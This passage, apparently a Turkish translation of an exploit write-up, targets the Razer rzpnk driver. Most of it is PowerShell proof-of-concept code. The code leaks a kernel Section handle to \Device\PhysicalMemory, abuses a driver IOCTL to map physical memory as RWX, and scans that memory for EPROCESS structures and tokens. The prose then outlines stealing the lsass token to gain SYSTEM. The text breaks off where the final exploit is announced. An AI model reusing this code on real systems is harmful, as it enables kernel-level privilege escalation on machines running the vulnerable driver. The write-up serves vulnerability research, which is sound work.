0x15 = 'Desktop'; 0x16 = 'Composition'; 0x17 = 'RawInputManager'; 0x18 = 'TpWorkerFactory';
0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Partition'; 0x27 = 'Key';
0x28 = 'ALPC Port'; 0x29 = 'PowerRequest'; 0x2A = 'WmiGuid'; 0x2B = 'EtwRegistration';
0x2C = 'EtwConsumer'; 0x2D = 'DmaAdapter'; 0x2E = 'DmaDomain'; 0x2F = 'PcwObject';
0x30 = 'FilterConnectionPort'; 0x31 = 'FilterCommunicationPort'; 0x32 = 'NetworkNamespace';
0x33 = 'DxgkSharedResource'; 0x34 = 'DxgkSharedSyncObject'; 0x35 = 'DxgkSharedSwapChainObject';
}
}
}
'6.2' # Windows 8 and Windows Server 2012
{
$TypeSwitches = @{
0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'EventPair'; 0x0E = 'Mutant'; 0x0F = 'Callback';
0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'IRTimer'; 0x13 = 'Profile'; 0x14 = 'KeyedEvent';
0x15 = 'WindowStation'; 0x16 = 'Desktop'; 0x17 = 'CompositionSurface'; 0x18 = 'TpWorkerFactory';
0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Key'; 0x27 = 'ALPC Port';
0x28 = 'PowerRequest'; 0x29 = 'WmiGuid'; 0x2A = 'EtwRegistration'; 0x2B = 'EtwConsumer';
0x2C = 'FilterConnectionPort'; 0x2D = 'FilterCommunicationPort'; 0x2E = 'PcwObject';
0x2F = 'DxgkSharedResource'; 0x30 = 'DxgkSharedSyncObject';
}
}
'6.1' # Windows 7 and Window Server 2008 R2
{
$TypeSwitches = @{
0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0a = 'IoCompletionReserve';
0x0b = 'DebugObject'; 0x0c = 'Event'; 0x0d = 'EventPair'; 0x0e = 'Mutant'; 0x0f = 'Callback';
0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
0x15 = 'Desktop'; 0x16 = 'TpWorkerFactory'; 0x17 = 'Adapter'; 0x18 = 'Controller';
0x19 = 'Device'; 0x1a = 'Driver'; 0x1b = 'IoCompletion'; 0x1c = 'File'; 0x1d = 'TmTm';
0x1e = 'TmTx'; 0x1f = 'TmRm'; 0x20 = 'TmEn'; 0x21 = 'Section'; 0x22 = 'Session'; 0x23 = 'Key';
0x24 = 'ALPC Port'; 0x25 = 'PowerRequest'; 0x26 = 'WmiGuid'; 0x27 = 'EtwRegistration';
0x28 = 'EtwConsumer'; 0x29 = 'FilterConnectionPort'; 0x2a = 'FilterCommunicationPort';
0x2b = 'PcwObject';
}
}
'6.0' # Windows Vista and Windows Server 2008
{
$TypeSwitches = @{
0x01 = 'Type'; 0x02 = 'Directory'; 0x03 = 'SymbolicLink'; 0x04 = 'Token'; 0x05 = 'Job';
0x06 = 'Process'; 0x07 = 'Thread'; 0x08 = 'DebugObject'; 0x09 = 'Event'; 0x0a = 'EventPair';
0x0b = 'Mutant'; 0x0c = 'Callback'; 0x0d = 'Semaphore'; 0x0e = 'Timer'; 0x0f = 'Profile';
0x10 = 'KeyedEvent'; 0x11 = 'WindowStation'; 0x12 = 'Desktop'; 0x13 = 'TpWorkerFactory';
0x14 = 'Adapter'; 0x15 = 'Controller'; 0x16 = 'Device'; 0x17 = 'Driver'; 0x18 = 'IoCompletion';
0x19 = 'File'; 0x1a = 'TmTm'; 0x1b = 'TmTx'; 0x1c = 'TmRm'; 0x1d = 'TmEn'; 0x1e = 'Section';
0x1f = 'Session'; 0x20 = 'Key'; 0x21 = 'ALPC Port'; 0x22 = 'WmiGuid'; 0x23 = 'EtwRegistration';
0x24 = 'FilterConnectionPort'; 0x25 = 'FilterCommunicationPort';
}
}
}
[int]$BuffPtr_Size = 0
while ($true) {
[IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
$SystemInformationLength = New-Object Int
$CallResult = [GetHandles]::NtQuerySystemInformation(16, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
# STATUS_INFO_LENGTH_MISMATCH
if ($CallResult -eq 0xC0000004) {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
[int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
}
# STATUS_SUCCESS
elseif ($CallResult -eq 0x00000000) {
break
}
# Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
else {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
return
}
}
$SYSTEM_HANDLE_INFORMATION = New-Object SYSTEM_HANDLE_INFORMATION
$SYSTEM_HANDLE_INFORMATION = $SYSTEM_HANDLE_INFORMATION.GetType()
if ([System.IntPtr]::Size -eq 4) {
$SYSTEM_HANDLE_INFORMATION_Size = 16 # This makes sense!
} else {
$SYSTEM_HANDLE_INFORMATION_Size = 24 # This doesn't make sense, should be 20 on x64 but that doesn't work.
# Ask no questions, hear no lies!
}
$BuffOffset = $BuffPtr.ToInt64()
$HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
$BuffOffset = $BuffOffset + [System.IntPtr]::Size
$SystemHandleArray = @()
for ($i=0; $i -lt $HandleCount; $i++){
# PtrToStructure only objects we are targeting, this is expensive computation
if ([System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) -eq $ProcID) {
$SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
$Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_HANDLE_INFORMATION)
$HashTable = @{
PID = $Cast.ProcessID
ObjectType = if (!$($TypeSwitches[[int]$Cast.ObjectTypeNumber])) { "0x$('{0:X2}' -f [int]$Cast.ObjectTypeNumber)" } else { $TypeSwitches[[int]$Cast.ObjectTypeNumber] }
HandleFlags = $FlagSwitches[[int]$Cast.Flags]
Handle = "0x$('{0:X4}' -f [int]$Cast.HandleValue)"
KernelPointer = if ([System.IntPtr]::Size -eq 4) { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt32())" } else { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt64())" }
AccessMask = "0x$('{0:X8}' -f $($Cast.GrantedAccess -band 0xFFFF0000))"
}
$Object = New-Object PSObject -Property $HashTable
$SystemHandleArray += $Object
}
$BuffOffset = $BuffOffset + $SYSTEM_HANDLE_INFORMATION_Size
}
if ($($SystemHandleArray.count) -eq 0) {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
Return
}
# Set column order and auto size
$SystemHandleArray
# Free SYSTEM_HANDLE_INFORMATION array
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
}
#----------------[Get Driver Handle]
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver access OK.."
echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
echo "[+] Handle: $hDevice"
}
#----------------[Prepare buffer & Send IOCTL]
# Get full access process handle to self
echo "`n[>] Opening full access handle to PowerShell.."
$hPoshProc = [Razer]::OpenProcess(0x001F0FFF,$false,$PID)
echo "[+] PowerShell handle: $hPoshProc"
# Get Section handle
echo "`n[>] Leaking Kernel handle to \Device\PhysicalMemory.."
$SystemProcHandles = Get-Handles -ProcID 4
[Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
[Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000
echo "[+] System section handle: $('{0:X}' -f $SystemSectionHandle)"
# NTSTATUS ZwMapViewOfSection(
# _In_ HANDLE SectionHandle, | Param 3 - RCX = SectionHandle
# _In_ HANDLE ProcessHandle, | Param 1 - RDX = ProcessHandle
# _Inout_ P**** *BaseAddress, | Param 2 - R8 = BaseAddress -> Irrelevant, ptr to NULL
# _In_ ULONG_PTR ZeroBits, | 0 -> OK - R9
# _In_ SIZE_T CommitSize, | Param 5 - CommitSize / ViewSize
# _Inout_opt_ PLARGE_INTEGER SectionOffset, | 0 -> OK
# _Inout_ PSIZE_T ViewSize, | Param 5 - CommitSize / ViewSize
# _In_ SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
# _In_ ULONG Al********Type, | 0 -> Un********ed?
# _In_ ULONG Win32Protect | 0x40 -> PAGE_READWRITE
# );
$InBuffer = @(
[System.BitConverter]::GetBytes($hPoshProc.ToInt64()) + # Param 1 - RDX=ProcessHandle
[System.BitConverter]::GetBytes([Int64]0x0) + # Param 2 - BaseAddress -> Irrelevant, ptr to NULL
[System.BitConverter]::GetBytes($SystemSectionHandle) + # Param 3 - RCX=SectionHandle
[System.BitConverter]::GetBytes([Int64]4) + # Param 4 - ? junk ?
[System.BitConverter]::GetBytes([Int64]$(1*1024*1024)) + # Param 5 - CommitSize / ViewSize (1mb)
[System.BitConverter]::GetBytes([Int64]4) # Param 6 - ? junk ?
)
# Output buffer
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
# Ptr receiving output byte count
$IntRet = 0
#=======
# 0x22a050 - ZwOpenProcess
# 0x22A064 - ZwMapViewOfSection
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
echo "`n[!] DeviceIoControl failed..`n"
Return
}
#----------------[Read out the result buffer]
echo "`n[>] Verifying ZwMapViewOfSection.."
$NTSTATUS = "{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))
$Address = [System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8)
if ($NTSTATUS -eq 0) {
echo "[+] NTSTATUS Success!"
echo "[+] 1mb RWX \Device\PhysicalMemory allocated at: $('{0:X}' -f $Address)`n"
} else {
echo "[!] Call failed: $('{0:X}' -f $NTSTATUS)`n"
}
Yeni POC'umuzu çalıştırarak aşağıdaki çıktıyı alıyoruz.
Başarıyı NTSTATUS kodunu okuyarak ölçtüğümüze ve daha önce 0 olan Int64'ün artık bölümün eşlendiği yerel işlemimizde adresi döndürdüğüne dikkat edin. Process Hacker'a baktığımızda, tam olarak 1024kb'lik güzel bir zararsız bellek tahsisi görebiliriz.
Process Hacker'ı kullanarak bu bellek yığınını diske kaydedebiliriz. Bunu yaparsak ve bir şekilde kaydırırsak, aşağıda gösterildiği gibi bazı komik şeyler görebiliriz. Bootkit kimse?
Güvenlik açığını hemen hemen kanıtladık, ancak şimdi bir SYSTEM kabuğuna nasıl sahip olabiliriz?
Avcılık EPROCESS
Bundan yararlanmanın en dolaysız yolu, klasik bir jeton çalma saldırısı yapmaktır. Zorluk, eşlenmiş belleğimizdeki EPROCESS yapısını bulmaktır. WinDBG'de biraz araştırma, EPROCESS yapısının bir 'Proc' havuz yığınına ayrıldığını gösteriyor.
EPROCESS işaretçisinden 'Proc' havuz parçasının başlangıcını çıkararak, hemen başlık boyutunu da elde ederiz. Tersine, keyfi bir 'Proc' havuz adresimiz varsa, EPROCESS yapısındaki herhangi bir özelliğin konumunu hesaplayabiliriz.
Bu mimariye / sürüme bağlı ofsetlere KD'ye geçmeden bakmak istiyorsanız Terminus Projesini kullanabilirsiniz. Bu, @rwfpl tarafından yazılan harika bir kaynak, bu da bana pek çok durumda çok zaman kazandırdı!
Bu yüzden sorunumuzu etkili bir şekilde 'Proc' havuz parçalarını bulmaya indirgedik, henüz tam olarak bir kazanç değil. Bu parçaları bulmak için, eşlenmiş bölümü benzersiz 'Proc' havuz etiketi için tarayabiliriz.
Optimizasyon açısından havuz parçalarının 10 altılık bir sınırla hizalandığına dikkat edin. Esasen bu, her 16 baytta bir tek bir DWORD okumamız gerektiği anlamına gelir. Bu pek bir şeye benzemiyor ama bize zaman kazandırıyor. Buna rağmen, 'Proc' havuz parçaları ~ 900mb'den sonra görünmeye başladığından arama çok çok yavaştı. Aramayı daha fazla optimize etmek için, eşlenen belleği farklı işletim sistemi sürümleri için yeterli varyans bırakarak 0x30000000 (0x30000000 / (1024 * 1024) = 768mb) ofsetinde taramaya başlayabiliriz.
Teoriyi test etmek için, 'Proc' havuz parçalarını bulmak ve onay için bazı EPROCESS verilerini atmak için aşağıdaki döngüyü (1.2gb eşlenmiş bir bölümde) kullanabiliriz.
Kod:
echo "`n[>] Parsing physical memory, coffee time..`n"
for ($i=0x30000000;$i -lt $(1200*1024*1024); $i+=0x10) {
# Read potential pooltag
$Val = [System.Runtime.InteropServices.Marshal]::ReadInt32($Address+$i+4)
# If pooltag matches Proc, pull out details..
if ($Val -eq 0xe36f7250) {
echo "[+] w00t Proc chunk found!"
$ProcessName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($Address+$i+0x60+0x2d8+8) # Not sure why +8 here?
$Token = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x208)
$ProcID = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x180)
echo "[>] Address: $('{0:X}' -f $($Address+$i))"
echo "[>] $ProcessName"
echo "[>] $ProcID"
echo "[>] Token: $('{0:X}' -f $Token)"
echo "==========================================="
}
}
Sonucun bir kısmı aşağıda gösterilmiştir.
Gördüğünüz gibi, bu uygulama mükemmel değil, bazı görüntü adları kesilmiş ve az miktarda algılama, EPROCESS yapıları gibi görünmüyor. Neyse ki, işlemlerin çoğunun doğru bir şekilde tespit edilmesinin garantili olduğunu buldum (PowerShell / lsass dahil).
Oyun bitti
Geriye kalan tek şey, yukarıdaki döngüyü biraz değiştirmektir, böylece lsass belirtecini ve PowerShell belirtecinin konumunu kaydeder. Her iki öğe de bulunduğunda, PowerShell belirtecinin üzerine yazabilir ve SYSTEM'e yükseltebiliriz! Bazı deneyler gerekli olsa da, bu istismarı 8,8.1,10'a taşımak oldukça basit bir alıştırma olmalıdır. Göz önünde bulundurulması gereken tek husus, EPROCESS yapısındaki değişiklikler ve Sistem sürecindeki birden çok bölüm tutamacıyla başa çıkmak için bir strateji geliştirilmesi olacaktır. Nihai istismar aşağıda gösterilmektedir.